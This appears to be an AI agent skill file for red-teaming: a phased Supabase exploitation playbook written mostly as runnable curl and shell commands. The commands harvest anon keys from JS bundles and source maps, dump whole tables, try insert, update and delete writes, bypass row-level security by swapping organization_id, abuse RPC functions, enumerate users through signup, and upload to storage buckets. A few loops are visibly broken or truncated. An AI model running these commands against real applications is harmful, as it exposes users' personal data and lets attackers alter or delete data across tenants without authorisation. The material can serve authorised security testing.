hunt-supabase

name	hunt-supabase
description	Hunt Supabase exploitation — Supabase anon key discovery in JS bundles, REST API table enumeration with anon key, Row Level Security (RLS) bypass via missing organization_id check, RPC function abuse returning cross-organization data, Storage bucket listing, Auth signUp/signIn with anon key, multi-tenant enumeration via WHOIS, bucket file upload/download without auth. Built from field observation of Lovable.dev + Supabase stack on rapidly-built platforms where RLS policies are consistently misconfigured. Use when a JS bundle, .env, or APK reveals a Supabase URL (project.supabase.co) and anon key (eyJ...).
version	1.1.0
revision_date	"2026-07-25T00:00:00.000Z"
license	MIT
category	redteam
tags	["supabase","hunt","redteam"]

HUNT-SUPABASE — Supabase Exploitation

Crown Jewel Targets

Supabase is the open-source Firebase alternative. It uses Row Level Security (RLS) for access control, but RLS policies are frequently misconfigured — especially in rapid-development stacks (Lovable.dev, Bolt.new, Cursor).

Highest-value findings:

1. Public tables via anon key — REST API with anon key returns table data when RLS is disabled or policies are permissive. Critical.
2. RLS bypass via organization_id — UPDATE operation checks user ownership but NOT organization_id -> cross-tenant data access. Critical.
3. RPC functions returning global data — SECURITY DEFINER RPC functions that don't filter by auth.uid() -> all users' data. High.
4. Storage buckets without RLS — Public file listing, upload, and download. High.
5. Open signUp — Anyone can register and get a JWT. High.
6. Multi-tenant enumeration — Same broken-RLS patterns across multiple apps built by the same developer. Medium.

---

Phase 1 — Find the Supabase Project

Supabase is identified by its URL format: https://[PROJECT_REF].supabase.co and anon key format: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... (JWT starting with eyJ)

1.1 Search in JS Bundles

# Download JS bundles and search for Supabase
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'src="[^"]*\.js"' | cut -d'"' -f2 | while read js; do
  curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$js" -o "/tmp/$(basename $js)"
done

# Search for Supabase URL pattern
grep -rEn 'https://[a-z0-9-]+\.supabase\.co' /tmp/*.js
grep -rEn 'supabaseUrl|SUPABASE_URL|supabaseKey|SUPABASE_ANON_KEY' /tmp/*.js

# Search for Supabase JWT anon key
grep -rEn 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\.[^[:space:]]+' /tmp/*.js

# Quick one-liner
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'https://[a-z0-9-]+\.supabase\.co'
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo '(?:supabaseUrl|SUPABASE_URL)[": ]+[^"'\''\s]+'

1.2 Search in .env and Config Files

curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env" | grep -i "SUPABASE"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env.production" | grep -i "SUPABASE"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/config.js" | grep -i "supabase"

# JSON config files
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/manifest.json" | python3 -c "import sys, json; d = json.load(sys.stdin); print(d)" 2>/dev/null

1.3 Extract from Source Maps

# Check source maps for Supabase config
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'sourceMappingURL=[^\s"]+' | cut -d= -f2 | while read sm; do
  curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$(echo $sm | sed 's|^/||')" -o "/tmp/$(basename $sm)"
done

cat /tmp/*.map 2>/dev/null | python3 -c "
import sys, json, re
try:
    data = json.load(sys.stdin)
    sources = data.get('sourcesContent', [])
    for src in sources:
        if not src: continue
        urls = re.findall(r'https://[a-z0-9-]+\.supabase\.co', src)
        keys = re.findall(r'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\.\S{50,}', src)
        for u in urls: print(f'URL: {u}')
        for k in keys: print(f'ANON_KEY: {k}')
except: pass
" 2>/dev/null

---

Phase 2 — Supabase Reconnaissance

Once you have the Supabase URL and anon key:

SUPABASE_URL="https://xxxxxxx.supabase.co"
ANON_KEY="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

# Step 1: Verify the project exists
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/" -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Step 2: OpenAPI/Swagger spec (sometimes exposed)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/?apikey=$ANON_KEY"

# Step 3: Try to list all tables (requires RLS listing to be enabled)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/?" -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Step 4: Common table names to try
for table in users profiles user_profiles customers orders products messages posts comments settings config api_keys tokens sessions accounts transactions documents files uploads; do
  response=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "$SUPABASE_URL/rest/v1/$table?limit=1" \
    -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY")
  if [ "$response" = "200" ]; then
    echo "[+] PUBLIC TABLE: $table"
    # Sample the data
    curl --max-time 30 --connect-timeout 10 -sk "/rest/v1/?limit=2" \
      -H  -H  | python3 -m json.tool |  -20
  

---

Phase 3 — Data Enumeration with Anon Key

3.1 Read Table Data

# Read all data from a table (Supabase REST API uses pagination)
TABLE="users"
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?select=*" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Paginate through all rows (1000 per page default)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?select=*&limit=1000&offset=0" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Select specific columns
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?select=id,email,username,role" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Filter rows
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?role=eq.admin&select=id,email" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Count total rows
curl --max-time 30 --connect-timeout 10 -sk -I "$SUPABASE_URL/rest/v1/$TABLE?select=*" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" | grep -i "content-range"

3.2 Try Write Access

# Try inserting (CRITICAL if works)
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/rest/v1/$TABLE" \
  -H "apikey: $ANON_KEY" \
  -H "Authorization: Bearer $ANON_KEY" \
  -H "Content-Type: application/json" \
  -H "Prefer: return=minimal" \
  -d '{"test_column": "pwned"}'

# Try update
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/$TABLE?id=eq.1" \
  -H "apikey: $ANON_KEY" \
  -H "Authorization: Bearer $ANON_KEY" \
  -H "Content-Type: application/json" \
  -d '{"admin": true}'

# Try delete
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "$SUPABASE_URL/rest/v1/$TABLE?id=eq.1" \
  -H "apikey: $ANON_KEY" \
  -H "Authorization: Bearer $ANON_KEY"

---

Phase 4 — RLS Bypass via Organization ID Manipulation

This is the most common Supabase vulnerability in multi-tenant apps.

4.1 Cross-Organization IDOR via UPDATE

# If RLS allows UPDATE on your own profile but doesn't check organization_id:
# Step 1: Get your user profile
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/profiles?id=eq.{MY_ID}" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT"

# Step 2: Try to change your organization_id to the target org
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/profiles?id=eq.{MY_ID}" \
  -H "apikey: $ANON_KEY" \
  -H "Authorization: Bearer $USER_JWT" \
  -H "Content-Type: application/json" \
  -d '{"organization_id":"TARGET_ORG_UUID"}'

# Step 3: If 200 -> Now you see the target org's data!
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/projects?organization_id=eq.TARGET_ORG_UUID" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT"

4.2 RPC Function without Organization Filter

# RPC functions often return GLOBAL data without checking org membership
# Step 1: List available RPC functions
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/rpc/" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT"

# Step 2: Try common RPC names
for rpc in get_stats get_dashboard get_analytics get_metrics get_summary get_report; do
  response=$(curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/rpc/$rpc" \
    -H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT" \
    -H "Content-Type: application/json" -d '{}')
  if echo "$response" | python3 -c "import sys, json; json.load(sys.stdin); print('OK')" 2>/dev/null; then
    echo "[+] RPC accessible: $rpc"
    echo "$response" | python3 -m json.tool | head -20
  fi
done

4.3 Multi-Tenant Enumeration via WHOIS

# If the same developer/agency built multiple apps, they share the same RLS flaws.
# Step 1: Get the target domain's WHOIS to find the owner/dev
whois $TARGET | grep -iE "email|org|name|admin"

# Step 2: Search crt.sh for other domains owned by the same org
curl --max-time 30 --connect-timeout 10 -sk "https://crt.sh/?q=%25.$TARGET&output=json" | python3 -c "
import sys, json
try:
    data = json.load(sys.stdin)
    domains = set(d['name_value'] for d in data)
    print('\n'.join(sorted(domains)))
except: pass
"

# Step 3: Test each for Supabase with the same broken RLS patterns

---

Phase 5 — Supabase Auth Exploitation

5.1 Open SignUp

# Check if email/password signup is enabled
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/auth/v1/signup" \
  -H "apikey: $ANON_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "[e-mail]",
    "password": "TestPassword123!"
  }'
# HTTP 200 with access_token + user = OPEN SIGNUP!

5.2 Extract JWT from SignUp

# If signup succeeds, extract the JWT and use it for authenticated requests
SIGNUP=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/auth/v1/signup" \
  -H "apikey: $ANON_KEY" \
  -H "Content-Type: application/json" \
  -d '{"email":"[e-mail]","password":"TestPassword123!"}')

ACCESS_TOKEN=*** "$SIGNUP" | python3 -c "import sys, json; print(json.load(sys.stdin).get('access_token', 'NONE'))")

# Use this JWT for authenticated API calls
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/users?select=*" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ACCESS_TOKEN"

5.3 Brute User Enumeration

# Supabase returns different errors for existing vs non-existing users
for email in admin@$TARGET user@$TARGET info@$TARGET support@$TARGET; do
  response=$(curl --max-time 30 --connect-timeout 10 -sk -w "%{http_code}" -o /dev/null "$SUPABASE_URL/auth/v1/signup" \
    -H "apikey: $ANON_KEY" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"$email\",\"password\":\"Test123!\"}")
  # HTTP 200 = new user created
  # HTTP 422 = email already exists -> VALID USER
  # HTTP 400 = validation error
  echo "$email: $response"
done

---

Phase 6 — Supabase Storage Exploitation

# Step 1: List storage buckets (if RLS allows)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/bucket" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Step 2: If buckets found, list files
BUCKET="files"
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/object/list/$BUCKET" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Step 3: Download a file
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/object/public/$BUCKET/filename.pdf" \
  -o /tmp/downloaded_file

# Step 4: Upload a file (test write)
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/storage/v1/object/$BUCKET/test.txt" \
  -H "apikey: $ANON_KEY" \
  -H "Authorization: Bearer $ANON_KEY" \
  -H "Content-Type: text/plain" \
  -d "pwned"
# HTTP 200 with Key -> upload allowed!

# Step 5: Get public URL for uploaded file
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/object/public/$BUCKET/test.txt" \
  -H "apikey: $ANON_KEY"

---

Phase 7 — Attack Chains

Chain A: Anon Key in JS -> Public Table Dump

JS bundle contains supabaseUrl + anon key ->
Try common table names (profiles, users, orders) ->
RLS disabled -> Dump ALL data ->
PII breach (emails, names, addresses)

Chain B: Open SignUp -> Authenticated Access -> Write

Supabase signup endpoint accepts new users ->
Create account -> Get JWT ->
Use JWT for authenticated REST API calls ->
Access tables that require auth but have no ownership checks

Chain C: RLS Bypass via Org ID -> Cross-Tenant

UPDATE profiles where id=my_id set organization_id to target_org ->
RLS checks auth.uid() matches id but NOT organization_id ->
Switch org context -> See target org's data ->
Indirect cross-tenant attack

Chain D: RPC Function -> Global Data Access

RPC function defined as SECURITY DEFINER with no filter ->
Any authenticated user calls get_stats() ->
Returns aggregated data from ALL tenants ->
Data leakage

---

Validation Severity

Finding	Severity
Anon key grants SELECT on PII tables	Critical
Anon key grants INSERT/UPDATE/DELETE	Critical
Open signup (anyone creates accounts)	High
RPC returns cross-org data	High
Storage bucket public list/download	High
Storage bucket public upload	Critical
Email enumeration via signup	Low-Medium
RLS bypass via org_id tampering	Critical
RLS policy missing on table	High
Supabase project ID only (no key)	Informational

---

Verification

Run this self-test to confirm supabase hunting readiness:

1. Skill integrity — confirm the skill file is readable and well-formed:

   grep -q "name: hunt-supabase" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
   grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
   

2. Category check — confirm the skill has a category:

   grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
   

3. Pitfalls section — confirm pitfalls are documented:

   grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
   

All 3 tests verify the skill is properly structured and ready for use.

---

Pitfalls

• Supabase anon key exposure — the anon key is intentionally public. It grants RLS-restricted access. The finding is when RLS policies are missing.
• Public bucket with RLS bypass — if RLS policies allow public read on storage, that's intentional. Need access to data that should be private.
• Supabase URL + anon key as credential — these are configuration values, not secrets. Rate impact based on what the anon key can access via missing RLS.
• Supabase realtime subscription without sensitive data — subscribing to public channels is expected. Need subscription to private channels.

---

Related Skills

• hunt-firebase — Firebase/Firestore/GCP sibling exploitation (similar anon-key pattern)
• hunt-source-leak — API key discovery in JS bundles, .env, source maps
• hunt-idor — RLS-bypass via organization_id is an IDOR variant
• hunt-api-misconfig — REST API endpoint enumeration methodology
• hunt-cors — CORS on Supabase REST API endpoints
• hunt-schema-enumeration — Error hint enumeration technique (primary method for discovering Supabase table names)
• hunt-write-gap — Test PATCH/POST/DELETE after finding tables via schema enumeration

---

Error Hint Enumeration — Schema Discovery

PostgREST returns table name hints when you query a non-existent table. This is the fastest way to map the entire Supabase schema:

SUPABASE_URL="https://PROJECT.supabase.co"
ANON_KEY="eyJ..."

# Fuzz common table names — PostgREST hints reveal real tables
for table in users profiles posts products orders data config settings \
  sessions subscribers movements payments transactions wallets accounts; do
  result=$(curl --max-time 30 --connect-timeout 10 -sk "${SUPABASE_URL}/rest/v1/${table}?select=*&limit=1" \
    -H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" 2>/dev/null)
  hint=$(echo "$result" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d.get('hint',''))" 2>/dev/null)
  if [ -n "$hint" ]; then echo "  ${table} -> ${hint}"; fi
done

# Response pattern: {"hint":"Perhaps you meant the table 'public.real_name'"}
# Build wordlist from hints, iterate until no new tables discovered

After mapping the schema, proceed to hunt-write-gap to test write operations on discovered tables.

Common Supabase Finding Formats

# Quick test: does the target use Supabase?
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'https://[a-z0-9-]+\.supabase\.co'
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'anon[": ]+["]*eyJ'

# Check Google dorks for Supabase
# site:target.com "supabase.co"
# site:target.com "supabaseUrl"
# site:target.com "SUPABASE_ANON_KEY"